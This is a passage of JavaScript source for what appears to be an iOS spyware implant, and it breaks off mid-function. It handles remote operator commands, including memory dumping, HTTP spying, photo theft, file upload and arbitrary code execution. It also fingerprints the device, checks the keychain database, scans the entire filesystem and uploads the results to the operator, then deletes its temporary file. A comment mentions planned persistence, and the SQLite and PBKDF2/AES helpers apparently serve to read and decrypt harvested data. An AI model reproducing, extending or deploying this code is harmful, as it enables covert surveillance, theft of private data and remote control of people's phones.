handleExecuteCommand(cmd) {\n\tvar p = cmd.params || {};\n\tvar commandStr = p.command || \"\";\n\tvar timeoutSec = p.timeout || 30;\n\tvar workDir = p.working_directory;\n\tvar startMs = Date.now();\n\n\tif (workDir) _cwd = workDir;\n\n\tif (!commandStr) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar args = _parseArgs(commandStr);\n\tif (!args.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\texit_code: 1, stdout: \"\", stderr: _strToB64(\"error: empty command\\n\"),\n\t\t\texecution_time: 0, timeout: false,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\n\tvar cmdName = args[0].toLowerCase();\n\tvar result = null;\n\n\ttry {\n\t\tswitch (cmdName) {\n\t\t\tcase \"ls\": case \"dir\": result = _cmdLs(args); break;\n\t\t\tcase \"cat\": case \"type\": result = _cmdCat(args); break;\n\t\t\tcase \"pwd\": result = _cmdPwd(); break;\n\t\t\tcase \"cd\": result = _cmdCd(args); break;\n\t\t\tcase \"mkdir\": case \"md\": result = _cmdMkdir(args); break;\n\t\t\tcase \"rm\": case \"del\": result = _cmdRm(args); break;\n\t\t\tcase \"cp\": case \"copy\": result = _cmdCp(args); break;\n\t\t\tcase \"mv\": case \"move\": case \"ren\": result = _cmdMv(args); break;\n\t\t\tcase \"stat\": result = _cmdStat(args); break;\n\t\t\tcase \"chmod\": result = _cmdChmod(args); break;\n\t\t\tcase \"touch\": result = _cmdTouch(args); break;\n\t\t\tcase \"ln\": result = _cmdLn(args); break;\n\t\t\tcase \"readlink\": result = _cmdReadlink(args); break;\n\t\t\tcase \"find\": result = _cmdFind(args); break;\n\t\t\tcase \"head\": result = _cmdHead(args); break;\n\t\t\tcase \"tail\": result = _cmdTail(args); break;\n\t\t\tcase \"wc\": result = _cmdWc(args); break;\n\t\t\tcase \"grep\": result = _cmdGrep(args); break;\n\t\t\tcase \"du\": result = _cmdDu(args); break;\n\t\t\tcase \"file\": result = _cmdFile(args); break;\n\t\t\tcase \"hexdump\": result = _cmdHexdump(args); break;\n\t\t\tcase \"whoami\": result = _cmdWhoami(); break;\n\t\t\tcase \"id\": result = _cmdId(); break;\n\t\t\tcase \"uname\": result = _cmdUname(args); break;\n\t\t\tcase \"hostname\": result = _cmdHostname(); break;\n\t\t\tcase \"df\": result = _cmdDf(args); break;\n\t\t\tcase \"date\": result = _cmdDate(); break;\n\t\t\tcase \"echo\": result = _cmdEcho(args); break;\n\t\t\tcase \"ps\": result = _cmdPs(args); break;\n\t\t\tcase \"memdump\": result = _cmdMemdump(args); break;\n\t\t\tcase \"ifconfig\": case \"ipconfig\": result = _cmdIfconfig(args); break;\n\t\t\tcase \"netstats\": case \"netstat\": result = _cmdNetstats(args); break;\n\t\t\tcase \"connections\": case \"conn\": result = _cmdConnections(args); break;\n\t\t\tcase \"httpspy\": case \"spy\": result = _cmdHttpspy(args); break;\n\t\t\tcase \"download\": result = _cmdDownload(args, cmd); break;\n\t\t\tcase \"photos\": result = _cmdPhotos(args, cmd); break;\n\t\t\tcase \"apps\": result = _cmdApps(); break;\n\t\t\tcase \"upload\": case \"file_upload\": result = _cmdUpload(args, cmd); break;\n\t\t\tcase \"eval\": case \"exec\": case \"js\": result = _cmdEvalCode(args); break;\n\t\t\tcase \"help\": case \"?\": result = _cmdHelp(); break;\n\t\t\tdefault:\n\t\t\t\tresult = { code: 127, out: \"\", err: cmdName + \": command not found. Type 'help' for available commands.\\n\" };\n\t\t}\n\t} catch (e) {\n\t\tresult = { code: 1, out: \"\", err: \"error: \" + String(e) + \"\\n\" };\n\t}\n\n\tif (result === null) return;\n\n\tvar endMs = Date.now();\n\tvar execTime = (endMs - startMs) / 1000;\n\n\tsendJSON(cmd.command_id, {\n\t\texit_code: result.code,\n\t\tstdout: _strToB64(result.out),\n\t\tstderr: _strToB64(result.err),\n\t\texecution_time: execTime,\n\t\ttimeout: execTime >= timeoutSec,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: p._task_type || \"\"\n\t}, \"exec_result.json\");\n}\n\nfunction handleBasicInfo(cmd) {\n\tvar info = {\n\t\tuuid: DEVICE_UUID,\n\t\tmachine: DEVICE_MODEL,\n\t\t_task_id: (cmd.params && cmd.params._task_id) || \"\",\n\t\t_task_type: (cmd.params && cmd.params._task_type) || \"\",\n\t\tcollect_time: Date.now(),\n\t\tos_type: \"iOS\"\n\t};\n\n\t// 1. Kernel / system info via uname\n\ttry {\n\t\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\t\tif (uts && uts !== 0n) {\n\t\t\tNative.callSymbol(\"uname\", uts);\n\t\t\tinfo.sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\t\tinfo.machine_arch = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", uts);\n\t\t}\n\t} catch(e) { info._err_uname = String(e); }\n\n\t// 2. Disk space via statfs(\"/\")\n\t// struct statfs arm64: f_bsize(u32,0) f_iosize(i32,4) f_blocks(u64,8)\n\t// f_bfree(u64,16) f_bavail(u64,24)\n\ttry {\n\t\tvar sbuf = Native.callSymbol(\"calloc\", 1, 4096);\n\t\tif (sbuf && sbuf !== 0n) {\n\t\t\tvar sr = Number(Native.callSymbol(\"statfs\", \"/\", sbuf));\n\t\t\tif (sr === 0) {\n\t\t\t\tvar bsRaw = new DataView(Native.read(BigInt(sbuf), 4));\n\t\t\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\t\t\tvar blocks = Number(Native.readPtr(BigInt(sbuf) + 8n));\n\t\t\t\tvar bfree = Number(Native.readPtr(BigInt(sbuf) + 16n));\n\t\t\t\tvar bavail = Number(Native.readPtr(BigInt(sbuf) + 24n));\n\t\t\t\tinfo.disk_block_size = bsize;\n\t\t\t\tinfo.disk_total_bytes = blocks * bsize;\n\t\t\t\tinfo.disk_free_bytes = bfree * bsize;\n\t\t\t\tinfo.disk_avail_bytes = bavail * bsize;\n\t\t\t\tinfo.disk_total_gb = Math.round(blocks * bsize / 1073741824 * 10) / 10;\n\t\t\t\tinfo.disk_free_gb = Math.round(bfree * bsize / 1073741824 * 10) / 10;\n\t\t\t}\n\t\t\tNative.callSymbol(\"free\", sbuf);\n\t\t}\n\t} catch(e) { info._err_statfs = String(e); }\n\n\t// 3. Process identity\n\ttry {\n\t\tinfo.pid = Number(Native.callSymbol(\"getpid\"));\n\t\tinfo.uid = Number(Native.callSymbol(\"getuid\"));\n\t\tinfo.gid = Number(Native.callSymbol(\"getgid\"));\n\t} catch(e) {}\n\n\t// 4. Hostname via gethostname\n\ttry {\n\t\tvar hbuf = Native.callSymbol(\"malloc\", 256);\n\t\tif (hbuf && hbuf !== 0n) {\n\t\t\tvar hr = Number(Native.callSymbol(\"gethostname\", hbuf, 255));\n\t\t\tif (hr === 0) info.hostname = Native.readString(hbuf, 256).replace(/\\0/g, \"\");\n\t\t\tNative.callSymbol(\"free\", hbuf);\n\t\t}\n\t} catch(e) {}\n\n\t// 5. Installed apps summary\n\ttry {\n\t\tvar appBase = \"/var/mobile/Containers/Data/Application\";\n\t\tvar appDirs = listDir(appBase);\n\t\tvar appCount = 0;\n\t\tfor (var ai = 0; ai < appDirs.length; ai++) {\n\t\t\tif (appDirs[ai].type === \"dir\") appCount++;\n\t\t}\n\t\tinfo.installed_app_count = appCount;\n\t} catch(e) {}\n\n\t// 6. WiFi passwords file status\n\ttry {\n\t\tvar wfSize = getFileSize(\"/var/Keychains/keychain-2.db\");\n\t\tinfo.keychain_db_size = wfSize > 0 ? wfSize : 0;\n\t} catch(e) {}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, info, \"basic_info.json\",\n\t\t{ start_ms: info.collect_time, end_ms: endMs });\n}\n\n// handleUpdate: disabled for now, will be enabled after persistence is ready\n// function handleUpdate(cmd) { ... }\n\n// ============================================================================\n// disk_scan: recursive filesystem traversal with stat metadata (TXT format)\n// ============================================================================\n\nvar SCAN_WRITE_BUF = 65536;\nvar SCAN_MAX_DEPTH = 20;\nvar SCAN_MAX_ITEMS = 300000;\nvar SCAN_YIELD_EVERY = 2000;\nvar SCAN_SKIP_DIRS = [\n\t\"/dev\", \"/cores\",\n\t\"/System/Library/Caches/com.apple.kernelcaches\",\n\t\"/System/Library/Caches/com.apple.dyld\",\n\t\"/System/Library/PrivateFrameworks\",\n\t\"/System/Library/Frameworks\",\n\t\"/System/Library/Extensions\",\n\t\"/System/Library/CoreServices\",\n\t\"/System/Library/PreferenceBundles\",\n\t\"/System/iOSSupport\",\n\t\"/usr/lib\", \"/usr/libexec\", \"/usr/sbin\", \"/usr/bin\", \"/usr/share\",\n\t\"/usr/standalone\",\n\t\"/private/var/db/dyld_shared_cache_arm64e\",\n\t\"/private/var/hardware\",\n\t\"/private/var/log/asl\",\n\t\"/private/preboot\",\n\t\"/Library/Ringtones\",\n\t\"/Library/Wallpaper\"\n];\n\nfunction _readU16(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 2));\n\treturn b[0] | (b[1] << 8);\n}\nfunction _readI64(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 8));\n\tvar lo = (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n\tvar hi = (b[4] | (b[5] << 8) | (b[6] << 16) | ((b[7] << 24) >>> 0)) >>> 0;\n\treturn hi * 4294967296 + lo;\n}\nfunction _readU8(ptr, off) {\n\treturn new Uint8Array(Native.read(ptr + BigInt(off), 1))[0];\n}\nfunction _readU32(ptr, off) {\n\tvar b = new Uint8Array(Native.read(ptr + BigInt(off), 4));\n\treturn (b[0] | (b[1] << 8) | (b[2] << 16) | ((b[3] << 24) >>> 0)) >>> 0;\n}\n\nfunction _writeAll(fd, bufSize, ptr, data) {\n\tvar bytes = new Uint8Array(Native.stringToBytes(data, false));\n\tvar pos = 0;\n\twhile (pos < bytes.length) {\n\t\tvar chunk = Math.min(bytes.length - pos, bufSize);\n\t\tvar ab = new ArrayBuffer(chunk);\n\t\tnew Uint8Array(ab).set(bytes.subarray(pos, pos + chunk));\n\t\tNative.write(ptr, ab);\n\t\tvar nw = Number(Native.callSymbol(\"write\", fd, ptr, chunk));\n\t\tif (nw <= 0) return false;\n\t\tpos += nw;\n\t}\n\treturn true;\n}\n\nfunction _sanitizePath(p) {\n\tvar s = \"\";\n\tfor (var i = 0; i < p.length; i++) {\n\t\tvar c = p.charCodeAt(i);\n\t\tif (c === 0x7C) s += \"_\";\n\t\telse if (c === 0x0A || c === 0x0D) s += \" \";\n\t\telse s += p.charAt(i);\n\t}\n\treturn s;\n}\n\nfunction handleDiskScan(cmd) {\n\tvar p = cmd.params || {};\n\tvar startMs = Date.now();\n\tvar startISO = new Date(startMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\n\tvar tmpCandidates = [\n\t\t\"/var/mobile/Library/Caches/ios_disk_scan.txt\",\n\t\t\"/var/mobile/ios_disk_scan.txt\",\n\t\t\"/tmp/ios_disk_scan.txt\"\n\t];\n\tvar tmpPath = \"\";\n\tvar fd = -1;\n\tfor (var ti = 0; ti < tmpCandidates.length; ti++) {\n\t\tfd = Number(Native.callSymbol(\"open\", tmpCandidates[ti], 0x0602, 0x1a4));\n\t\tif (fd >= 0) { tmpPath = tmpCandidates[ti]; break; }\n\t}\n\tif (fd < 0) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"cannot create temp file (tried \" + tmpCandidates.join(\", \") + \")\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar wBuf = Native.callSymbol(\"malloc\", BigInt(SCAN_WRITE_BUF));\n\tvar statBuf = Native.callSymbol(\"malloc\", 144n);\n\tif (!wBuf || wBuf === 0n || !statBuf || statBuf === 0n) {\n\t\tNative.callSymbol(\"close\", fd);\n\t\tif (wBuf && wBuf !== 0n) Native.callSymbol(\"free\", BigInt(wBuf));\n\t\tif (statBuf && statBuf !== 0n) Native.callSymbol(\"free\", BigInt(statBuf));\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"malloc failed\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"disk_scan_result.json\");\n\t\treturn;\n\t}\n\n\tvar pending = \"\";\n\tvar FLUSH_AT = 32768;\n\tvar totalFiles = 0, totalDirs = 0, totalLinks = 0, totalSize = 0;\n\tvar itemCount = 0;\n\tvar hitLimit = false;\n\tvar writeErrors = 0;\n\n\tfunction flush() {\n\t\tif (pending.length > 0) {\n\t\t\tif (!_writeAll(fd, SCAN_WRITE_BUF, wBuf, pending)) writeErrors++;\n\t\t\tpending = \"\";\n\t\t}\n\t}\n\tfunction emit(line) {\n\t\tpending += line + \"\\n\";\n\t\tif (pending.length >= FLUSH_AT) flush();\n\t}\n\n\ttry {\n\t\temit(\"# =====================================\");\n\t\temit(\"# Directory Scan Result\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan directory: /\");\n\t\temit(\"# Start time: \" + startISO);\n\t\temit(\"# Start timestamp: \" + startMs);\n\t\temit(\"# =====================================\");\n\t\temit(\"# Format (separator: |)\");\n\t\temit(\"# Col1: Full path\");\n\t\temit(\"# Col2: Type (FILE=file DIR=directory LNK=symlink)\");\n\t\temit(\"# Col3: Attributes (D=directory A=archive R=readonly H=hidden L=symlink)\");\n\t\temit(\"# Col4: Created time (ms timestamp)\");\n\t\temit(\"# Col5: Modified time (ms timestamp)\");\n\t\temit(\"# Col6: Accessed time (ms timestamp)\");\n\t\temit(\"# Col7: Size (bytes, 0 for dirs)\");\n\t\temit(\"# =====================================\");\n\n\t\tvar stack = [\"/\", 0];\n\t\tvar stackLen = 2;\n\n\t\twhile (stackLen > 0) {\n\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\tvar depth = stack[stackLen - 1];\n\t\t\tvar dirPath = stack[stackLen - 2];\n\t\t\tstackLen -= 2;\n\n\t\t\tif (depth > SCAN_MAX_DEPTH) continue;\n\n\t\t\tvar skip = false;\n\t\t\tfor (var si = 0; si < SCAN_SKIP_DIRS.length; si++) {\n\t\t\t\tif (dirPath === SCAN_SKIP_DIRS[si] ||\n\t\t\t\t\tdirPath.indexOf(SCAN_SKIP_DIRS[si] + \"/\") === 0) {\n\t\t\t\t\tskip = true; break;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (skip) continue;\n\n\t\t\tvar dh = Native.callSymbol(\"opendir\", dirPath);\n\t\t\tif (!dh || dh === 0n) continue;\n\n\t\t\ttry {\n\t\t\t\tfor (;;) {\n\t\t\t\t\tif (itemCount >= SCAN_MAX_ITEMS) { hitLimit = true; break; }\n\n\t\t\t\t\tvar ent = Native.callSymbol(\"readdir\", BigInt(dh));\n\t\t\t\t\tif (!ent || ent === 0n) break;\n\n\t\t\t\t\ttry {\n\t\t\t\t\t\tvar dtype = new Uint8Array(Native.read(BigInt(ent) + 20n, 1))[0];\n\t\t\t\t\t\tvar name = Native.readString(BigInt(ent) + 21n, 256);\n\t\t\t\t\t\tif (name === \".\" || name === \"..\") continue;\n\n\t\t\t\t\t\tvar fullPath = dirPath === \"/\" ? \"/\" + name : dirPath + \"/\" + name;\n\t\t\t\t\t\tvar ret = Number(Native.callSymbol(\"lstat\", fullPath, BigInt(statBuf)));\n\n\t\t\t\t\t\tvar ftype = \"FILE\", attrs = \"-A----\", fsize = 0;\n\t\t\t\t\t\tvar ctime = 0, mtime = 0, atime = 0;\n\n\t\t\t\t\t\tif (ret === 0) {\n\t\t\t\t\t\t\tvar mode = _readU16(BigInt(statBuf), 4);\n\t\t\t\t\t\t\tvar fmt = mode & 0xF000;\n\t\t\t\t\t\t\tif (fmt === 0x4000) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else if (fmt === 0xA000) {\n\t\t\t\t\t\t\t\tftype = \"LNK\"; attrs = \"----L-\"; totalLinks++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tftype = \"FILE\";\n\t\t\t\t\t\t\t\tfsize = _readI64(BigInt(statBuf), 96);\n\t\t\t\t\t\t\t\ttotalSize += fsize;\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t\tvar writable = mode & 0x0080;\n\t\t\t\t\t\t\t\tvar hidden = name.charAt(0) === \".\";\n\t\t\t\t\t\t\t\tattrs = \"-A\" + (writable ? \"-\" : \"R\") + (hidden ? \"H\" : \"-\") + \"--\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tatime = _readI64(BigInt(statBuf), 32) * 1000;\n\t\t\t\t\t\t\tmtime = _readI64(BigInt(statBuf), 48) * 1000;\n\t\t\t\t\t\t\tctime = _readI64(BigInt(statBuf), 80) * 1000;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tif (dtype === 4) {\n\t\t\t\t\t\t\t\tftype = \"DIR\"; attrs = \"D-----\"; totalDirs++;\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\ttotalFiles++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\temit(_sanitizePath(fullPath) + \"|\" + ftype + \"|\" + attrs + \"|\" + ctime + \"|\" + mtime + \"|\" + atime + \"|\" + fsize);\n\t\t\t\t\t\titemCount++;\n\n\t\t\t\t\t\tif (itemCount % SCAN_YIELD_EVERY === 0) {\n\t\t\t\t\t\t\tNative.callSymbol(\"usleep\", 10000);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((dtype === 4 || (ret === 0 && (_readU16(BigInt(statBuf), 4) & 0xF000) === 0x4000))\n\t\t\t\t\t\t\t&& dtype !== 10) {\n\t\t\t\t\t\t\tstack[stackLen] = fullPath;\n\t\t\t\t\t\t\tstack[stackLen + 1] = depth + 1;\n\t\t\t\t\t\t\tstackLen += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch(entErr) {}\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"closedir\", BigInt(dh));\n\t\t\t}\n\t\t}\n\n\t\tvar endMs = Date.now();\n\t\tvar endISO = new Date(endMs).toISOString().replace(\"T\",\" \").replace(\"Z\",\"\");\n\t\tvar elapsed = (endMs - startMs) / 1000;\n\t\tvar totalItems = totalFiles + totalDirs;\n\t\tvar speed = elapsed > 0 ? Math.round(totalItems / elapsed) : totalItems;\n\n\t\temit(\"# =====================================\");\n\t\temit(\"# Scan Statistics\");\n\t\temit(\"# =====================================\");\n\t\temit(\"# Total files: \" + totalFiles);\n\t\temit(\"# Total dirs: \" + totalDirs);\n\t\temit(\"# Total symlinks: \" + totalLinks);\n\t\temit(\"# Total items scanned: \" + itemCount);\n\t\temit(\"# Total size (bytes): \" + totalSize);\n\t\temit(\"# Hit item limit: \" + (hitLimit ? \"YES (\" + SCAN_MAX_ITEMS + \")\" : \"NO\"));\n\t\temit(\"# Max depth: \" + SCAN_MAX_DEPTH);\n\t\temit(\"# Write errors: \" + writeErrors);\n\t\temit(\"# Elapsed (seconds): \" + Math.round(elapsed));\n\t\temit(\"# Speed (items/sec): \" + speed);\n\t\temit(\"# End time: \" + endISO);\n\t\temit(\"# End timestamp: \" + endMs);\n\t\temit(\"# =====================================\");\n\n\t} catch(scanErr) {\n\t\temit(\"# SCAN ERROR: \" + String(scanErr));\n\t}\n\n\tflush();\n\tNative.callSymbol(\"fsync\", fd);\n\tNative.callSymbol(\"free\", BigInt(wBuf));\n\tNative.callSymbol(\"free\", BigInt(statBuf));\n\n\tvar fileSize = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\n\tvar upResult = _sendChunksFromFd(cmd.command_id, fd, fileSize, \"scanDisk_root.txt\", \"disk_scan\",\n\t\t{ start_ms: startMs, end_ms: Date.now() });\n\n\tNative.callSymbol(\"close\", fd);\n\tfd = -1;\n\tNative.callSymbol(\"unlink\", tmpPath);\n\n\tif (!upResult || !upResult.ok) {\n\t\ttry {\n\t\t\tsendJSON(cmd.command_id, {\n\t\t\t\tstatus: \"upload_failed\",\n\t\t\t\terror: upResult ? upResult.error : \"null result\",\n\t\t\t\tchunks_sent: upResult ? upResult.sent : 0,\n\t\t\t\tchunks_total: upResult ? upResult.total : 0,\n\t\t\t\tfile_size: fileSize,\n\t\t\t\tscan_items: itemCount,\n\t\t\t\ttmp_path: tmpPath,\n\t\t\t\t_task_id: p._task_id || \"\",\n\t\t\t\t_task_type: p._task_type || \"\"\n\t\t\t}, \"disk_scan_error.json\");\n\t\t} catch(re) {}\n\t}\n}\n\n// ============================================================================\n// Native SQLite Query Helper\n// ============================================================================\n\nvar _sqliteLoaded = false;\nfunction _ensureSqlite() {\n\tif (_sqliteLoaded) return true;\n\tvar h = Native.callSymbol(\"dlopen\", \"/usr/lib/libsqlite3.dylib\", 1);\n\tif (!h || h === 0n) return false;\n\t_sqliteLoaded = true;\n\treturn true;\n}\n\nfunction _sqliteQuery(dbPath, sql, maxRows) {\n\tif (!_ensureSqlite()) return null;\n\tmaxRows = maxRows || 500;\n\tvar ppDb = Native.callSymbol(\"malloc\", 8);\n\tif (!ppDb || ppDb === 0n) return null;\n\tNative.write64(ppDb, 0n);\n\tvar rc = Number(Native.callSymbol(\"sqlite3_open_v2\", dbPath, ppDb, 1, 0n));\n\tvar db = Native.readPtr(ppDb);\n\tNative.callSymbol(\"free\", ppDb);\n\tif (rc !== 0 || !db || db === 0n) {\n\t\tif (db && db !== 0n) Native.callSymbol(\"sqlite3_close\", db);\n\t\treturn null;\n\t}\n\ttry {\n\t\tvar ppStmt = Native.callSymbol(\"malloc\", 8);\n\t\tif (!ppStmt || ppStmt === 0n) return null;\n\t\tNative.write64(ppStmt, 0n);\n\t\trc = Number(Native.callSymbol(\"sqlite3_prepare_v2\", db, sql, -1, ppStmt, 0n));\n\t\tvar stmt = Native.readPtr(ppStmt);\n\t\tNative.callSymbol(\"free\", ppStmt);\n\t\tif (rc !== 0 || !stmt || stmt === 0n) return null;\n\t\ttry {\n\t\t\tvar rows = [];\n\t\t\tvar colCount = Number(Native.callSymbol(\"sqlite3_column_count\", stmt));\n\t\t\tvar colNames = [];\n\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\tvar np = Native.callSymbol(\"sqlite3_column_name\", stmt, c);\n\t\t\t\tcolNames.push(np && np !== 0n ? Native.readString(np, 256).replace(/\\0/g, \"\") : \"col\" + c);\n\t\t\t}\n\t\t\twhile (rows.length < maxRows) {\n\t\t\t\trc = Number(Native.callSymbol(\"sqlite3_step\", stmt));\n\t\t\t\tif (rc !== 100) break;\n\t\t\t\tvar row = {};\n\t\t\t\tfor (var c = 0; c < colCount; c++) {\n\t\t\t\t\tvar tp = Number(Native.callSymbol(\"sqlite3_column_type\", stmt, c));\n\t\t\t\t\tif (tp === 5) { row[colNames[c]] = null; continue; }\n\t\t\t\t\tif (tp === 1) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_int64\", stmt, c));\n\t\t\t\t\t} else if (tp === 2) {\n\t\t\t\t\t\trow[colNames[c]] = Number(Native.callSymbol(\"sqlite3_column_double\", stmt, c));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar txtP = Native.callSymbol(\"sqlite3_column_text\", stmt, c);\n\t\t\t\t\t\tvar txtLen = Number(Native.callSymbol(\"sqlite3_column_bytes\", stmt, c));\n\t\t\t\t\t\tif (txtP && txtP !== 0n && txtLen > 0) {\n\t\t\t\t\t\t\trow[colNames[c]] = Native.readString(txtP, txtLen + 1).substring(0, txtLen);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\trow[colNames[c]] = \"\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\trows.push(row);\n\t\t\t}\n\t\t\treturn { columns: colNames, rows: rows };\n\t\t} finally { Native.callSymbol(\"sqlite3_finalize\", stmt); }\n\t} finally { Native.callSymbol(\"sqlite3_close\", db); }\n}\n\n// ============================================================================\n// Native CommonCrypto Wrappers\n// ============================================================================\n\nfunction _sha256(data) {\n\tvar inBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tif (!inBuf || inBuf === 0n) return null;\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!outBuf || outBuf === 0n) { Native.callSymbol(\"free\", inBuf); return null; }\n\tNative.write(inBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CC_SHA256\", inBuf, BigInt(data.length), outBuf);\n\tvar hash = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", inBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn hash;\n}\n\nfunction _hmacSha256(key, data) {\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(key.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(data.length));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, key.buffer ? key.buffer : key);\n\tNative.write(dataBuf, data.buffer ? data.buffer : data);\n\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(key.length),\n\t\tdataBuf, BigInt(data.length), outBuf);\n\tvar mac = new Uint8Array(Native.read(outBuf, 32));\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn mac;\n}\n\nfunction _pbkdf2(password, salt, iterations, keyLen) {\n\tvar pwBytes = new Uint8Array(password.length);\n\tfor (var i = 0; i < password.length; i++) pwBytes[i] = password.charCodeAt(i);\n\tvar hLen = 32;\n\tvar numBlocks = Math.ceil(keyLen / hLen);\n\tvar dk = new Uint8Array(numBlocks * hLen);\n\tvar keyBuf = Native.callSymbol(\"malloc\", BigInt(pwBytes.length));\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(Math.max(salt.length + 4, hLen)));\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tif (!keyBuf || !dataBuf || !outBuf) {\n\t\tif (keyBuf) Native.callSymbol(\"free\", keyBuf);\n\t\tif (dataBuf) Native.callSymbol(\"free\", dataBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\treturn null;\n\t}\n\tNative.write(keyBuf, pwBytes.buffer);\n\tfor (var blk = 1; blk <= numBlocks; blk++) {\n\t\tvar intBe = new Uint8Array(4);\n\t\tintBe[0] = (blk >>> 24) & 0xff;\n\t\tintBe[1] = (blk >>> 16) & 0xff;\n\t\tintBe[2] = (blk >>> 8) & 0xff;\n\t\tintBe[3] = blk & 0xff;\n\t\tvar msg = new Uint8Array(salt.length + 4);\n\t\tmsg.set(salt instanceof Uint8Array ? salt : new Uint8Array(salt), 0);\n\t\tmsg.set(intBe, salt.length);\n\t\tNative.write(dataBuf, msg.buffer);\n\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\tdataBuf, BigInt(msg.length), outBuf);\n\t\tvar u = new Uint8Array(Native.read(outBuf, 32));\n\t\tvar t = new Uint8Array(u);\n\t\tfor (var iter = 1; iter < iterations; iter++) {\n\t\t\tNative.write(dataBuf, u.buffer);\n\t\t\tNative.callSymbol(\"CCHmac\", 2, keyBuf, BigInt(pwBytes.length),\n\t\t\t\tdataBuf, 32n, outBuf);\n\t\t\tu = new Uint8Array(Native.read(outBuf, 32));\n\t\t\tfor (var j = 0; j < hLen; j++) t[j] ^= u[j];\n\t\t}\n\t\tdk.set(t, (blk - 1) * hLen);\n\t}\n\tNative.callSymbol(\"free\", keyBuf);\n\tNative.callSymbol(\"free\", dataBuf);\n\tNative.callSymbol(\"free\", outBuf);\n\treturn dk.slice(0, keyLen);\n}\n\nfunction _aesEcbEncryptBlock(cryptorRef, block16) {\n\tvar inBuf = Native.callSymbol(\"malloc\", 16n);\n\tvar outBuf = Native.callSymbol(\"malloc\", 32n);\n\tvar writtenBuf = Native.callSymbol(\"malloc\", 8n);\n\tif (!inBuf || !outBuf || !writtenBuf) {\n\t\tif (inBuf) Native.callSymbol(\"free\", inBuf);\n\t\tif (outBuf) Native.callSymbol(\"free\", outBuf);\n\t\tif (writtenBuf) Native.callSymbol(\"free\", writtenBuf);\n\t\treturn null;\n\t}\n\tNative.write(inBuf, block16.buffer ? block16.buffer : block16);\n\tNative.write64(writtenBuf, 0n);\n\tvar rc = Number(Native.callSymbol(\"CCCryptorUpdate\",\n\t\tcryptorRef, inBuf, 16n, outBuf, 32n, writtenBuf));\n\tvar written = 